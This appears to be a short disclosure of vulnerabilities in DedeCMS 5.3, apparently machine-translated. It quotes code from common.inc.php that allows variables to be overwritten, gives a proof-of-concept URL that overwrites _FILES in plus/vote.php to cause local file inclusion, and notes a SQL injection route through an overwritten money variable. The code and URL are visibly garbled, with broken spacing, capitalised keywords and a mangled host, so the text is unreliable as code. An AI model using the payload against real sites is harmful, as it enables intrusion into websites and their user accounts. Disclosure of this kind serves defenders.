Dedecms 5.3 is flawed!

By: xhming

Common. inc. php

Foreach ($ _ REQUEST as $ _ k => $ _ v)
{
If (strlen ($ _ k)> 0 & eregi (^ (cfg _ | GLOBALS), $ _ k )&&! Isset ($ _ COOKIE [$ _ k]) // the cfg _ | GLOBALS restriction can be bypassed.
{
Exit (Request var not allow !);
}
}

Foreach (Array (_ GET, _ POST, _ COOKIE) as $ _ request)
{
Foreach ($ _ request as $ _ k = >$ _ v) $ {$ _ k} = _ RunMagicQuotes ($ _ v ); // The key to any variables that can be overwritten is the _ hitting variable.
}

Overwrite _ FILES [] can export local Inclusion Vulnerability (gpc/off );

Example:

H tt p: // 127.0.0.1/dedecms/plus/vote. php? Aid = 1 & _ FILES = 1 & _ FILES [pai_templets_dir] [name] = & _ FILES [pai_templets_dir] [type] = 1 & _ FILES [pai_templets_dir] [size] = 200 & _ FILES [pai_templets_dir] [tmp_name] =/dedecms/

Another possible injection:

If ($ rs)
{
$ Bv-> dsql-> ExecuteNoneQuery ("Update dede_member Set money = money-{$ pai_book_money} where id = {$ ml-> M_ID }");

It also uses _ FILE to overwrite $ pai_book_money.